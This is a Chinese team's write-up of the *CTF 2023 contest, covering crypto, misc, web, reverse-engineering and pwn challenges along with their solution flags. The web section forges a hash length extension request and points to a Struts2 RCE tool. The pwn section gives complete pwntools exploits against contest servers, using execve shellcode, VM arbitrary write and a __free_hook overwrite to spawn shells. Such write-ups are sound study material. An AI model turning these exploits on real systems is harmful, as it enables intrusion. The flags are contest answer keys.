*CTF 2023 Writeup 2023.07.31 Writeup 星盟安全团队

Crypto

ezCrypto

遍历得到rseed，根据题目反推出flag

import random
import string

rseed = 0
characters = string.printable[:-6]
for rseed  in range(0, 1001):
    random.seed(rseed)
    random_sequence = random.sample(characters, len(characters))
    map_string1 = ''.join(random_sequence)

    random.seed(rseed * 2)
    random_sequence = random.sample(characters, len(characters))
    map_string2 = ''.join(random_sequence)
    if map_string2[:10] == '8K#Ttr@&5=':
        print('rseed =', rseed)
        break

random.seed(rseed * 3)
random_sequence = random.sample(characters, len(characters))
map_string3 = ''.join(random_sequence)


def re_xor(c, a, index: int):
    return chr(((ord(a) + index) ^ ord(c)) - index)


cipher = "edT0O<jmZ`aP,>3/LZALI]~S=}NP=7zY"
for i in range(0, len(cipher), 2):
    hou = cipher[:-i]
    hou = ''.join([map_string3[map_string1.index(h)] for h in hou])
    hou = ''.join([map_string3[map_string2.index(h)] for h in hou])
    if hou and hou[-1] in string.digits:
        qian = cipher[-i:]
        qian = ''.join([map_string3[map_string2.index(q)] for q in qian])
        qian1 = qian[:len(qian)//2]
        qian2 = ''.join([map_string3[map_string1.index(q)] for q in qian[len(qian)//2:]])
        if qian1 == qian2:
            qian = qian1
            print(hou)
            print(qian)
            qian11 = qian[:(len(qian)-2)//2]
            qian22 = qian[-(len(qian) - 2) // 2-1:-1]
            print(qian11)
            print(qian22)

            for c in characters:
                index = 2
                qian_ = ''
                qian_ += c
                try:
                    for x in qian11:
                        qian_ += re_xor(x, qian_[-1], index)
                    if all([y  in string.ascii_letters+string.digits for y in qian_]):
                        print(qian_+'3')
                except:
                    continue

            for c in characters:
                index = 1
                qian_ = ''
                qian_ += c
                try:
                    for x in qian22:
                        qian_ += re_xor(x, qian_[-1], index)
                    if all([y  in string.ascii_letters+string.digits for y in qian_]):
                        print(qian_+'0')
                except:
                    continue
            print()

# cR7PtO5 ln4 s0m32 F1nD1
# ~F3&)0
# F4n3TrY0

# sixstars{TrY_F1nD_s0m3_F4n_ln_cR7PtO}

MISC

dead game

直接游戏玩通关即可

但这是一个fakeflag，通过三个碎片的拼接和fakeflag，尝试猜出flag

最终得到flag：*CTF{80867_K1115_81!zZ@Rd}

an old language

题目

题解

首先百度识图，可以找到类似的字体

点击可以看到相关字体介绍

字母表如下：

flag为*ctf{GIKRVZY}大写

snippingTools

这道题是关于最近发现的一个windows漏洞

https://www.tenable.com/plugins/nessus/177217

可以修复使用snippingTools裁剪过后的截图。

开始读题：题目上说，Bob马上就恢复了图片，那就证明这道题一定是有工具能一把梭的，于是重心放在找工具上面，最后工具地址：

https://github.com/frankthetank-music/Acropalypse-Multi-Tool

然后再按照readme一步一步地配环境，就可以得到最后的flag：

得到flag

Increasing

一个简单的网络，按要求输入模型参数，使得第i个模型能将输入预测为i+1,写一个循环脚本，对第i个输入和输出进行训练，保存模型参数，大概跑50分钟，就能出来180个对应的模型，再转化为相应格式|分割模型，#分割参数，逗号分割参数索引和值。

按照这个思路跑出所有数的预测模型参数，就可以了

import torch
import torch.nn as nn
import torch.optim as optim
# from func_timeout import func_set_timeout
import torch
from torch.nn import init
import torch.nn as nn
from copy import deepcopy
import math

model_num=181

def Net2Init(tmpnet):
    for key in tmpnet.state_dict():
        if('weight' in key):
            init.zeros_(tmpnet.state_dict()[key])
        else:
            tmpnet.state_dict()[key][...] = 0
    return tmpnet

def max_label(t):
    labellist = t.tolist()[0]
    maxnum = -10000
    loc = 0
    for j in range(len(labellist)):
        if (maxnum < labellist[j]):
            loc = j
            maxnum = labellist[j]
    return loc

class EasyNet(nn.Module):
    def __init__(self):
        super(EasyNet, self).__init__()
        self.norm=nn.Softmax()
        self.filter=nn.Linear(1,2)
        self.bypass = nn.Linear(2,model_num,bias=False)

    def forward(self, x):
        x=self.filter(x)
        x=self.bypass(x)
        x=self.norm(x)
        return x
res = []
i = 0
while(i < 181):
    namelist=['filter.weight', 'filter.bias', 'bypass.weight']
    weightlist=[]
    net=EasyNet()
    mydict=net.state_dict()
    net=Net2Init(net)
    for i1 in range(len(namelist)):
        weightlist.append(mydict[namelist[i1]].tolist())
    # 定义训练数据和标签
    
    inputs = torch.tensor([i * 1.0]).reshape([1, 1])  # 输入数据
    ss = [0.0 for i2 in range(181)]
    ss[i+1] = 1.0
    labels = torch.tensor([ss])  # 标签

    # 创建模型实例
    net = EasyNet()

    # 定义损失函数和优化器
    criterion = nn.MSELoss()
    optimizer = optim.SGD(net.parameters(), lr=0.001)

    # 进行训练
    for epoch in range(1000):
        # 清空梯度
        optimizer.zero_grad()
        # 前向传播
        outputs = net(inputs)
        # print(outputs)
        # print(labels)
        # 计算损失
        loss = criterion(outputs, labels)
        # 反向传播和优化
        loss.backward()
        optimizer.step()
    # 测试模型
    tmp_input = torch.tensor([i * 1.0]).reshape([1, 1])  # 输入数据
    prediction = net(tmp_input)  # 预测结果
    # print(prediction)
    # 判断是否满足要求，max_label(net(tmp_input)) == i+1
    if max_label(prediction) == i+1:
        ss = ''
        filter_weight = net.state_dict()['filter.weight']
        a = 0
        c = 0
        for b in range(2):
            d = round(float(filter_weight[b][c]),4)
            ss += f"{a},{b},{c},{d}#"
        filter_bias = net.state_dict()['filter.bias']
        a = 1
        for b in range(2):
            c = round(float(filter_bias[b]),4)
            ss += f"{a},{b},{c}#"
        bypass_weight = net.state_dict()['bypass.weight']
        a = 2
        for b in range(181):
            for c in range(2):
                d = round(float(bypass_weight[b][c]),5)
                ss += f"{a},{b},{c},{d}#"
        res.append(ss)
        print(f"{i+1}done!")
        i += 1

with open('res.txt','w') as f:
    mmm = ''
    for m in res:
        mmm += m[:-1]
        mmm += '|'
    f.write(mmm)

from pwn import *
p = remote('122.9.155.47',50001)
with open('res.txt','r') as f:
    im = f.read()
    p.sendline(im[:-1])
p.interactive()

MWM

根据提示，把模型所有的参数都乘上256转成字符，搜索copy字符找到

import torch
import torchvision.models as models

# 加载ResNet-50模型
model = torch.load('resnet_mwm_new.pth')

# 将模型的所有参数乘以256
for param in model.parameters():
    param.data *= 256

# 将参数转换为字符，并保存到列表中
param_str_list = []
for param in model.parameters():
    param_cpu = param.detach().cpu()
    param_np = param_cpu.numpy()
    param_str = ' '.join([chr(int(val)&0xff) for val in param_np.flatten()])
    param_str_list.append(param_str)

# 将参数字符串拼接成一个字符串
param_str = "\n".join(param_str_list)

# 保存参数字符串到文件，使用UTF-8编码
with open('res.txt', 'w', encoding='utf-8') as f:
    f.write(param_str)

Web

jwt2struts

<?php
highlight_file(__FILE__);
include "./secret_key.php";
include "./salt.php";
//$salt = XXXXXXXXXXXXXX // the salt include 14 characters
//md5($salt."adminroot")=e6ccbf12de9d33ec27a5bcfb6a3293df
@$username = urldecode($_POST["username"]);
@$password = urldecode($_POST["password"]);
if (!empty($_COOKIE["digest"])) {
    if ($username === "admin" && $password != "root") {
         if ($_COOKIE["digest"] === md5($salt.$username.$password)) {
            die ("The secret_key is ". $secret_key);
        }
        else {
            die ("Your cookies don't match up! STOP HACKING THIS SITE.");
        }
    }
    else {
        die ("no no no");
    }
}

不能直接拼接adminroot，这里可以打一个哈希长度扩展攻击。

知道salt和adminroot拼接后的md5值，可以把拼接后的字符串当成salt。

https://github.com/JoyChou93/md5-extension-attack

使用这个脚本

python2 md5pad.py e6ccbf12de9d33ec27a5bcfb6a3293df 111 23

POST：

username=admin&password=root%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%B8%00%00%00%00%00%00%00111

cookies

digest=20b64bad6dfd095d5d7b14d5a6661795

拿到密钥

sk-he00lctf3r

伪造admin以后，跳转到一个登陆页面，根据提示，得知是struts2漏洞。

这里可以直接使用脚本进行rce。

java -jar .\struts2_poc.jar

RE

flagfile

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stdarg.h>
#include <sys/param.h>
#include <stdio.h>    /* Include that here, to make sure __P gets defined */
#include <errno.h>
#include <fcntl.h>    /* For open and flags */
#include <stdint.h>

#define MAXDESC    64        /* max len of text description/MIME type */
#define MAXMIME    80        /* max len of text MIME type */
#define MAXstring 128    

union VALUETYPE {
    uint8_t b;
    uint16_t h;
    uint32_t l;
    uint64_t q;
    uint8_t hs[2];    /* 2 bytes of a fixed-endian "short" */
    uint8_t hl[4];    /* 4 bytes of a fixed-endian "long" */
    uint8_t hq[8];    /* 8 bytes of a fixed-endian "quad" */
    char s[MAXstring];    /* the search string or regex pattern */
    unsigned char us[MAXstring];
    uint64_t guid[2];
    float f;
    double d;
};

struct magic {
    /* Word 1 */
    uint16_t cont_level;    /* level of ">" */
    uint8_t flag;
#define INDIR        0x01    /* if '(...)' appears */
#define OFFADD        0x02    /* if '>&' or '>...(&' appears */
#define INDIROFFADD    0x04    /* if '>&(' appears */
#define UNSIGNED    0x08    /* comparison is unsigned */
#define NOSPACE        0x10    /* suppress space character before output */
#define BINTEST        0x20    /* test is for a binary type (set only
                   for top-level tests) */
#define TEXTTEST    0x40    /* for passing to file_softmagic */
#define OFFNEGATIVE    0x80    /* relative to the end of file */

    uint8_t factor;

    /* Word 2 */
    uint8_t reln;        /* relation (0=eq, '>'=gt, etc) */
    uint8_t vallen;        /* length of string value, if any */
    uint8_t type;        /* comparison type (FILE_*) */
    uint8_t in_type;    /* type of indirection */
#define             FILE_INVALID    0
#define             FILE_BYTE    1
#define                FILE_SHORT    2
#define                FILE_DEFAULT    3
#define                FILE_LONG    4
#define                FILE_STRING    5
#define                FILE_DATE    6
#define                FILE_BESHORT    7
#define                FILE_BELONG    8
#define                FILE_BEDATE    9
#define                FILE_LESHORT    10
#define                FILE_LELONG    11
#define                FILE_LEDATE    12
#define                FILE_PSTRING    13
#define                FILE_LDATE    14
#define                FILE_BELDATE    15
#define                FILE_LELDATE    16
#define                FILE_REGEX    17
#define                FILE_BESTRING16    18
#define                FILE_LESTRING16    19
#define                FILE_SEARCH    20
#define                FILE_MEDATE    21
#define                FILE_MELDATE    22
#define                FILE_MELONG    23
#define                FILE_QUAD    24
#define                FILE_LEQUAD    25
#define                FILE_BEQUAD    26
#define                FILE_QDATE    27
#define                FILE_LEQDATE    28
#define                FILE_BEQDATE    29
#define                FILE_QLDATE    30
#define                FILE_LEQLDATE    31
#define                FILE_BEQLDATE    32
#define                FILE_FLOAT    33
#define                FILE_BEFLOAT    34
#define                FILE_LEFLOAT    35
#define                FILE_DOUBLE    36
#define                FILE_BEDOUBLE    37
#define                FILE_LEDOUBLE    38
#define                FILE_BEID3    39
#define                FILE_LEID3    40
#define                FILE_INDIRECT    41
#define                FILE_QWDATE    42
#define                FILE_LEQWDATE    43
#define                FILE_BEQWDATE    44
#define                FILE_NAME    45
#define                FILE_USE    46
#define                FILE_CLEAR    47
#define                FILE_DER    48
#define                FILE_GUID    49
#define                FILE_OFFSET    50
#define                FILE_NAMES_SIZE    51 /* size of array to contain all names */

#define IS_STRING(t) \
    ((t) == FILE_STRING || \
     (t) == FILE_PSTRING || \
     (t) == FILE_BESTRING16 || \
     (t) == FILE_LESTRING16 || \
     (t) == FILE_REGEX || \
     (t) == FILE_SEARCH || \
     (t) == FILE_INDIRECT || \
     (t) == FILE_NAME || \
     (t) == FILE_USE)

#define FILE_FMT_NONE 0
#define FILE_FMT_NUM  1 /* "cduxXi" */
#define FILE_FMT_STR  2 /* "s" */
#define FILE_FMT_QUAD 3 /* "ll" */
#define FILE_FMT_FLOAT 4 /* "eEfFgG" */
#define FILE_FMT_DOUBLE 5 /* "eEfFgG" */

    /* Word 3 */
    uint8_t in_op;        /* operator for indirection */
    uint8_t mask_op;    /* operator for mask */
#ifdef ENABLE_CONDITIONALS
    uint8_t cond;        /* conditional type */
#else
    uint8_t dummy;
#endif
    uint8_t factor_op;
#define        FILE_FACTOR_OP_PLUS    '+'
#define        FILE_FACTOR_OP_MINUS    '-'
#define        FILE_FACTOR_OP_TIMES    '*'
#define        FILE_FACTOR_OP_DIV    '/'
#define        FILE_FACTOR_OP_NONE    '\0'

#define                FILE_OPS    "&|^+-*/%"
#define                FILE_OPAND    0
#define                FILE_OPOR    1
#define                FILE_OPXOR    2
#define                FILE_OPADD    3
#define                FILE_OPMINUS    4
#define                FILE_OPMULTIPLY    5
#define                FILE_OPDIVIDE    6
#define                FILE_OPMODULO    7
#define                FILE_OPS_MASK    0x07 /* mask for above ops */
#define                FILE_UNUSED_1    0x08
#define                FILE_UNUSED_2    0x10
#define                FILE_OPSIGNED    0x20
#define                FILE_OPINVERSE    0x40
#define                FILE_OPINDIRECT    0x80

#ifdef ENABLE_CONDITIONALS
#define                COND_NONE    0
#define                COND_IF        1
#define                COND_ELIF    2
#define                COND_ELSE    3
#endif /* ENABLE_CONDITIONALS */

    /* Word 4 */
    int32_t offset;        /* offset to magic number */
    /* Word 5 */
    int32_t in_offset;    /* offset from indirection */
    /* Word 6 */
    uint32_t lineno;    /* line number in magic file */
    /* Word 7,8 */
    union {
        uint64_t _mask;    /* for use with numeric and date types */
        struct {
            uint32_t _count;    /* repeat/line count */
            uint32_t _flags;    /* modifier flags */
        } _s;        /* for use with string types */
    } _u;
#define num_mask _u._mask
#define str_range _u._s._count
#define str_flags _u._s._flags
    /* Words 9-24 */
    union VALUETYPE value;    /* either number or string */
    /* Words 25-40 */
    char desc[MAXDESC];    /* description */
    /* Words 41-60 */
    char mimetype[MAXMIME]; /* MIME type */
    /* Words 61-62 */
    char apple[8];        /* APPLE CREATOR/TYPE */
    /* Words 63-78 */
    char ext[64];        /* Popular extensions */
};

int main(int argc, char *argv[])
{
    int ffff = 0;
    char buf[10000];
    int fd = open("flag.mgc", 0);
    read(fd, buf, 0x170 + 8);
    struct magic a[100];
    int index = 0;
    long long test[1000];
    memset(test, 0, 1000);
    char flag[100];
    while (read(fd, &a[index], sizeof(struct magic)) > 0)
    {
        index += 1;
    }
    for (int i = 0; i < index; i++)
    {
        struct magic temp = a[i];
        printf("lineno: %d\n", temp.lineno);
        printf("type: %d\n", temp.type);
        printf("reln: %c\n", temp.reln);
        printf("in_offset: %d\n", temp.in_offset);
        if (((int)(temp.type)) == 1)
        {
            ffff = (temp.offset - 63) / 2 + 1;
            printf("offset: %d\n", (test[ffff]));
            char ttt = ((temp.value.b) & 0xff) ^ ((temp._u._mask) & 0xff);
            flag[test[ffff]] = ttt;
        }
        else
        {
            printf("offset: %d\n", temp.offset);
        }

        printf("b: %llx\n", temp.value.b);
        printf("q: %llx\n", temp.value.q);
        printf("_mask: %llx\n", temp._u._mask);
        printf("mask_op: %llx\n", temp.mask_op);
        printf("in_op: %llx\n", temp.in_op);
        long long tes = temp._u._mask ^ temp.value.q;
        test[i] = tes;
        if (temp.offset < 64)
        {
            printf("aaaa!!!!!!!!!!!!!\n");
        }
        printf("\n=======================\n");
    }
    for (int i = 0; i < index; i++)
    {
        printf("%llx,", test[i]);
    }
    printf("\n\n\n");
    for (int i = 0; i < 40; i++)
    {
        printf("%c", flag[i]);
    }
}

GoGpt

GO逆向)

异或+base64

xorkey=[ord(i) for i in "TcR@3t_3hp_5_G1H"]
enc=[0x7e,0x20,0x06,0x06,0x48,0x17,0x37,0x73,0x1c,0x17,0x2f,0x61,0x00,0x74,0x5f,0x0b,0x06,0x1a,0x22,0x34,0x02,0x44,0x31,0x6c,0x5c,0x2f,0x19,0x60,0x11,0x66,0x10,0x35]
for i in range(len(enc)):
    enc[i]^=xorkey[i%16]
print(bytes(enc))
#b'*CTF{ch@tgpT_3nCRypt10n_4_FUN!!}'

ez_code

把文件后缀改成.ps1，使用ISE调试

输入代码然其解析

class chiper():
    def __init__(self):
        self.d = 0x87654321
        k0 = 0x67452301
        k1 = 0xefcdab89
        k2 = 0x98badcfe
        k3 = 0x10325476
        self.k = [k0, k1, k2, k3]

    def e(self, n, v):
        from ctypes import c_uint32

        def MX(z, y, total, key, p, e):
            temp1 = (z.value >> 6 ^ y.value << 4) + \
                (y.value >> 2 ^ z.value << 5)
            temp2 = (total.value ^ y.value) + \
                (key[(p & 3) ^ e.value] ^ z.value)
            return c_uint32(temp1 ^ temp2)
        key = self.k
        delta = self.d
        rounds = 6 + 52//n
        total = c_uint32(0)
        z = c_uint32(v[n-1])
        e = c_uint32(0)

        while rounds > 0:
            total.value += delta
            e.value = (total.value >> 2) & 3
            for p in range(n-1):
                y = c_uint32(v[p+1])
                v[p] = c_uint32(v[p] + MX(z, y, total, key, p, e).value).value
                z.value = v[p]
            y = c_uint32(v[0])
            v[n-1] = c_uint32(v[n-1] + MX(z, y, total,
                              key, n-1, e).value).value
            z.value = v[n-1]
            rounds -= 1
        return v

    def bytes2ints(self,cs:bytes)->list:
        new_length=len(cs)+(8-len(cs)%8)%8
        barray=cs.ljust(new_length,b'\x00')
        i=0
        v=[]
        while i < new_length:
            v0 = int.from_bytes(barray[i:i+4], 'little')
            v1 = int.from_bytes(barray[i+4:i+8], 'little')
            v.append(v0)
            v.append(v1)
            i += 8
        return v

def check(instr:str,checklist:list)->int:
    length=len(instr)
    if length%8:
        print("Incorrect format.")
        exit(1)
    c=chiper()
    v = c.bytes2ints(instr.encode())
    output=list(c.e(len(v),v))
    i=0
    while(i<len(checklist)):
        if i<len(output) and output[i]==checklist[i]:
            i+=1
        else:
            break
    if i==len(checklist):
        return 1
    return 0    

if __name__=="__main__":
    ans=[1374278842, 2136006540, 4191056815, 3248881376]
    # generateRes()
    flag=input('Please input flag:')
    res=check(flag,ans)
    if res:
        print("Congratulations, you've got the flag!")
        print("Flag is *ctf{your_input}!")
        exit(0)
    else:
        print('Nope,try again!')

#include"defs.h"
#include <stdio.h>  
#include <stdint.h>  
#define DELTA 2271560481  
#define MX (((z>>6^y<<4) + (y>>2^z<<5)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))  

void btea(uint32_t* v, int n, uint32_t  key[4])
{
    uint32_t y, z, sum;
    unsigned p, rounds, e;

    n = -n;
    rounds = 6 + 52 / n;
    sum = rounds * DELTA;
    y = v[0];
    do
    {
        e = (sum >> 2) & 3;
        for (p = n - 1; p > 0; p--)
        {
            z = v[p - 1];
            y = v[p] -= MX;
        }

        z = v[n - 1];
        y = v[0] -= MX;
        sum -= DELTA;
    } while (--rounds);

}

int main()
{
 
    uint32_t enc[] = { 1374278842, 2136006540, 4191056815, 3248881376,0 };
    uint32_t  k[4] = { 1732584193, 4023233417, 2562383102, 271733878 };
    btea((uint32_t*)(&enc), -4, k);
    puts((char*)enc);
    //yOUar3g0oD@tPw5H

}

PWN

starvm

程序结构体如下：

00000000 vm struc ; (sizeof=0x80, mappedto_9)
00000000 code dq ?                               ; offset
00000008 code_end dq ?                           ; offset
00000010 field_10 dq ?
00000018 vector vector ?
00000030 field_30 dq ?
00000038 regs dd 14 dup(?)
00000070 mem dq ?                                ; offset
00000078 field_78 dd ?
0000007C field_7C dd ?
00000080 vm ends
00000080
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 vector struc ; (sizeof=0x18, mappedto_13) ; XREF: vm/r
00000000 _M_start dq ?                           ; offset
00000008 _M_finish dq ?                          ; offset
00000010 _M_end_of_storage dq ?
00000018 vector ends

10功能号可以修改到vm->mem，实现任意地址读写。

unsigned __int64 __fastcall run_vm(vm *a1)
{
        ...
        case 10:
          v38 = v2;
          ++code;
          v2 += 2;
          a1->regs[a1->vector._M_start[v38]] = a1->vector._M_start[v38 + 1];
          break;
        ...
}

利用脚本

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')

sh = remote('61.147.171.105', 53185)

cmd = [10, 6, 10, 3, 7, 10, 10, 7, 7, 10, 10, 10, 7, 7, 7, 10, 6]
sh.sendlineafter(b'command:\n', ' '.join([str(v) for v in cmd]).encode() + b' 16')
cost = [14, 0x404020, # 10
        0, 0, # 6
        1, 0x30910, # 10
        0, 1, # 3
        0, 0, # 7 
        14, 0x404070, # 10
        0, 0x401270, # 10
        0, 0, # 7 
        2, 1, # 7 
        14, 0x4040D0, # 10
        0, 0x4040D8, # 10
        1, 0x6873, # 10
        0, 0, # 7 
        2, 1, # 7 
        1, 2, # 7 
        14, 0, # 10
        0, 0, # 6
        0xdeadbeef]

sh.sendlineafter(b'your cost:\n', '\n'.join([str(v) for v in cost]).encode())

sh.interactive()

fcalc

数组溢出，恰好可以执行shellcode。

/*
.bss:0000000000004060                               ; __int64 func_table[]
.bss:0000000000004060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+func_table dq 10h dup(?)                ; DATA XREF: sub_1384+69↑w
.bss:0000000000004060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+                                        ; main+2B7↑o
.bss:0000000000004060 ?? ?? ?? ?? ?? ?? ?? ?? ?? ??+                                        ; sub_1384+77↑w
.bss:00000000000040E0                               ; double *shellcode
.bss:00000000000040E0 ?? ?? ?? ?? ?? ?? ?? ??       shellcode dq ?
*/
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
    ...
      if ( buf[i] <= 0x20 || buf[i] > 0x30 )
      {
        ...
      }
      else
      {
        ...
        // .text:000000000000187A FF D0                         call    rax
        ((void (*)(void))func_table[buf[i] - 0x20])();
      }
    ...
}

利用代码：

#!/usr/bin/env python3
# -*- coding:utf-8 -*-

from pwn import *
context.clear(arch='amd64', os='linux', log_level='info')

sh = remote('61.147.171.105', 63236)

shellcode = asm('''
    xor rsi, rsi
    mul rsi

    push rax
    mov rbx, 0x68732f2f6e69622f
    push rbx

    mov rdi, rsp
    mov al, 59

    syscall
''')
sh.sendafter(b'Enter your expression:\n', b'1 1 0 '.ljust(0x10, b'\0') + shellcode.ljust(0x40, b'\0') + p64(0x3ff000000000beeb))

sh.interactive()

drop

只是粗略看下来源代码，发现没有 delete 功能，后来通过 gdb 调试发现，新创建的堆块的指针都是放在堆块上的，并且申请的堆块大小是根据字符串长度决定的。其中的 bubble 功能可以实现排序的功能，存在堆块的 free 操作，并且还是 UAF 漏洞，于是利用这个去 leak libc_base 和 打 free_hook

from pwn import *
from struct import pack
from ctypes import *
import base64
#from LibcSearcher import *

def debug(c = 0):
    if(c):
        gdb.attach(p, c)
    else:
        gdb.attach(p)
        pause()
def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
#-----------------------------------------------------------------------------------------
s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
r   = lambda num=4096   :p.recv(num)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg= lambda s, num   :p.success('%s -> 0x%x' % (s, num))
#-----------------------------------------------------------------------------------------

context(os='linux', arch='amd64', log_level='debug')
#p = process('./pwn')
p = remote('122.9.157.7', 50001)
#p = gdb.debug('./pwn', 'b free')
#p = gdb.debug('./pwn', 'b *0x401853')
#p = remote('node3.anna.nssctf.cn', 28976)
elf = ELF('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def add(data):
    sla(b'choice: \n', b'1')
    sla(b'item: \n', data)
def show(idx):
    sla(b'choice: \n', b'2')
    sla(b'Index: \n', str(idx))
def edit(idx, data):
    sla(b'choice: \n', b'3')
    sla(b'Index: \n', str(idx))
    sla(b'content: \n', data)
def free(idx):
    sla(b'choice: \n', b'5')
    sla(b'Index: \n', str(idx))
def magic(n, idx):
    sla(b'choice: \n', b'4')
    sla(b'is East)\n', str(n))
    sla(b'index: \n', str(idx))

add(b'\x04'*0x300) #index 0
add(b'\x03'*0x500) #index 1
add(b'\x01'*0x100) #index 2
magic(1, 1)
show(2)

libc_base = l64() - 0x70 - libc.sym['__malloc_hook']
system, binsh = get_sb()
free_hook = libc_base + libc.sym['__free_hook']

add(b'\x04'*0x100) #index 3
add(b'\x03'*0x100) #index 4
add(b'\x05'*0x100) #index 5
magic(1, 3)

edit(5, p64(free_hook - 8) + p64(0))
add(b'a'*0x100)
payload = b'/bin/sh\x00' + p64(system)
payload = payload.ljust(0x100, b'a')
add(payload)

lg('libc_base', libc_base)
inter()